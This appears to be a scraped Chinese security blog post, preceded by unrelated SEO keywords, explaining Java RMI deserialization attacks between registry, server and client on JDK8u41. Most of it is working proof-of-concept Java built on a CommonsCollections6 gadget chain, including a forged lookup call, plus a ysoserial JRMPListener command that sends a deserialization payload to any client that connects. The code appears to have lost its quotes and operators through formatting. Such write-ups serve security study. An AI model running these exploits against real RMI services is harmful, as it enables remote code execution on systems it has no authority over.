建设网站带后台管理,十大软件排行榜,抖音代运营服务合同模板,网站建设盈利模式RMI#xff0c;是Remote Method Invocation#xff08;远程方法调用#xff09;的缩写#xff0c;即在一个JVM中java程序调用在另一个远程JVM中运行的java程序#xff0c;这个远程JVM既可以在同一台实体机上#xff0c;也可以在不同的实体机上#xff0c;两者之间通过网…RMI是Remote Method Invocation远程方法调用的缩写即在一个JVM中java程序调用在另一个远程JVM中运行的java程序这个远程JVM既可以在同一台实体机上也可以在不同的实体机上两者之间通过网络进行通信。java RMI封装了远程调用的实现细节进行简单的配置之后就可以如同调用本地方法一样比较透明地调用远端方法。
RMI包括以下三个部分 Registry: 提供服务注册与服务获取。即Server端向Registry注册服务比如地址、端口等一些信息Client端从Registry获取远程对象的一些信息如地址、端口等然后进行远程调用。 Server: 远程方法的提供者并向Registry注册自身提供的服务 Client: 远程方法的消费者从Registry获取远程方法的相关信息并且调用 测试环境JDK8u41
Client 和 Regisry 基于 Stub 和 Skeleton 进行通信分别对应 RegistryImpl_Stub 和 RegistryImpl_Skel 两个类。 Server 攻击 Registry
Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry导致 Registry 反序列化被 RCE。
Registry
package SAR;import java.rmi.registry.LocateRegistry;public class RMIRegistry {public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);System.out.println(RMI Registry Start);} catch (Exception e) {e.printStackTrace();}while (true);}
}
Server
package SAR;import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIServer {public static void main(String[] args) throws Exception {// CommonsCollections6TemplatesImpl templates Utils.creatTemplatesImpl(Calc.class);Transformer invokerTransformer new InvokerTransformer(getClass, null, null);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, invokerTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates);HashMap expMap new HashMap();expMap.put(tiedMapEntry, value);outerMap.clear();Utils.setFieldValue(invokerTransformer, iMethodName, newTransformer);// bind to registryRegistry registry LocateRegistry.getRegistry(1099);InvocationHandlerImpl handler new InvocationHandlerImpl(expMap);Remote remote (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);registry.bind(pwn, remote);// registry.rebind(pwn, remote);}
}
InvocationHandlerImpl
package SAR;import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;public class InvocationHandlerImpl implements InvocationHandler, Serializable {protected Map map;public InvocationHandlerImpl(Map map) {this.map map;}Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {return null;}
}
为什么需要 InvicationHandlerImpl
实现了 Remote 接口的对象才可以被 Server 绑定CC6 最后要反序列化的是一个 Map 类型的对象显然不可以被绑定所以这里就需要用一层动态代理用 InvocationHandlerImpl 对象handler把 Remote 接口代理就可以获取到实现了 Remote 接口的对象。
代理对象内部有 InvocationHandlerImpl 对象的引用而后者内部也有一个 expMap 的引用三者都实现了 Serializable 接口由于反序列化具有传递性当代理对象被反序列化的时候最后也会导致 expMap 被反序列化。
备注这里的 InvocationHandlerImpl 可以用现有的 AnnotationInvocationHandler 代替。 Client 攻击 Registry
Registry 端在接收请求的时候会将数据进行反序列化处理

备注方法和 case 的对应关系 bind list lookup rebind unbind 0 1 2 3 4
所以如果控制 lookup 方法的参数是一个恶意对象的话那么就可以攻击 Registry 达到 RCE 的效果。
主要问题在于 lookup 方法接收一个 String 类型的参数无法直接利用需要手动模拟 RegistryImpl_Stub#lookup 方法传递过程 Client
package CAR;import SAR.InvocationHandlerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import util.Calc;
import util.Utils;import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;public class RMIClient {public static void main(String[] args) throws Exception {TemplatesImpl templates Utils.creatTemplatesImpl(Calc.class);Transformer invokerTransformer new InvokerTransformer(getClass, null, null);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, invokerTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates);HashMap expMap new HashMap();expMap.put(tiedMapEntry, value);outerMap.clear();Utils.setFieldValue(invokerTransformer, iMethodName, newTransformer);Registry registry LocateRegistry.getRegistry(1099);InvocationHandlerImpl handler new InvocationHandlerImpl(expMap);Remote remote (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);Field field1 registry.getClass().getSuperclass().getSuperclass().getDeclaredField(ref);field1.setAccessible(true);UnicastRef ref (UnicastRef) field1.get(registry);Field field2 registry.getClass().getDeclaredField(operations);field2.setAccessible(true);Operation[] operations (Operation[]) field2.get(registry);RemoteCall var2 ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);ObjectOutput var3 var2.getOutputStream();var3.writeObject(remote);ref.invoke(var2);}
} Registry
package SAR;import java.rmi.registry.LocateRegistry;public class RMIRegistry {public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);System.out.println(RMI Registry Start);} catch (Exception e) {e.printStackTrace();}while (true);}
}
Client 攻击 Server
Client 发送请求
Client 端执行完 lookup 方法获取到远程对象这个对象实际上是一个获取到的远程对象实际上是一个代理对象请求会被派发到 RemoteObjectInvocationHandler#invoke 方法里面去 前面多个 if 都不满足直接来到 RemoteObjectInvocationHandler#invokeRemoteMethod
这里的 ref 是 UnicastRef 对象来到 UnicastRef#invoke这里代码比较长重点地方已经标注 而这个远程对象在执行方法的时候方法参数类型和参数都是以序列化形式传输到 Servervar2 就是方法var3 就是参数 
Server 端处理
Server 端处理 Client 请求的方法在 UnicastServerRef#dispatch对参数进行反序列化之后通过反射进行调用var8 就是 Methodvar10 是经过反序列化之后的参数var1 是绑定的 Remote 对象 与客户端的 marshalValue 方法对应服务端也有一个 unmarshalValue 方法用来对参数进行反序列化 此外具体执行哪一个方法是根据 hash 值来识别的 Client
package CAS;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIClient {public static void main(String[] args) throws Exception {TemplatesImpl templates Utils.creatTemplatesImpl(Calc.class);Transformer invokerTransformer new InvokerTransformer(getClass, null, null);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, invokerTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates);HashMap expMap new HashMap();expMap.put(tiedMapEntry, value);outerMap.clear();Utils.setFieldValue(invokerTransformer, iMethodName, newTransformer);Registry registry LocateRegistry.getRegistry(1099);TestInterface remoteObj (TestInterface) registry.lookup(test);// 获取到的远程对象实际上是一个代理对象请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去remoteObj.testMethod(expMap);}
} Server
package CAS;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws Exception {Registry registry LocateRegistry.getRegistry(1099);TestInterfaceImpl testInterface new TestInterfaceImpl();registry.rebind(test, testInterface);}
} 接口和类
package CAS;import java.rmi.Remote;
import java.rmi.RemoteException;public interface TestInterface extends Remote {void testMethod(Object obj) throws RemoteException;
}
package CAS;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {protected TestInterfaceImpl() throws RemoteException {super();}Overridepublic void testMethod(Object obj) throws RemoteException {System.out.println(...);}
}
Server 攻击 Client
Server 端方法的执行结果也是以序列化的形式传输到 Client 的还是在 UnicastServerRef#dispatch 方法中

而在 Client 端同样会对方法的执行结果进行反序列化处理UnicastRef#invoke 所以服务端如果可以控制返回的数据为恶意序列化数据那么客户端就会被 RCE。
Client
package SAC;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {public static void main(String[] args) throws Exception {Registry registry LocateRegistry.getRegistry(1099);TestInterface remote (TestInterface) registry.lookup(test);System.out.println(remote.testMethod());}
} Server
package SAC;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws Exception {Registry registry LocateRegistry.getRegistry(1099);TestInterfaceImpl testInterface new TestInterfaceImpl();registry.bind(test, testInterface);}
}
接口和类
package SAC;import java.rmi.Remote;
import java.rmi.RemoteException;public interface TestInterface extends Remote {Object testMethod() throws RemoteException;
} package SAC;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {public TestInterfaceImpl() throws RemoteException {super();}Overridepublic Object testMethod() throws RemoteException {try {TemplatesImpl templates Utils.creatTemplatesImpl(Calc.class);Transformer invokerTransformer new InvokerTransformer(getClass, null, null);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, invokerTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates);HashMap expMap new HashMap();expMap.put(tiedMapEntry, value);outerMap.clear();Utils.setFieldValue(invokerTransformer, iMethodName, newTransformer);return expMap;} catch (Exception e) {e.printStackTrace();}return null;}
}
Registry 攻击 ClientServer
更准确的表达是JRMP 服务端攻击 JRMP 客户端。
使用 ysoserial 开启一个 JRMP 监听服务这里指的是 exploit/JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc
只要服务端或者客户端获取到 Registry并且执行了以下方法之一自身就会被 RCE
list / unbind / lookup / rebind / bind RMI 通信过程中使用的是 JRMP 协议ysoserial 中的 exploit/JRMPListener 会在指定端口开启一个 JRMP Server然后会向任何连接其的客户端发送反序列化 payload。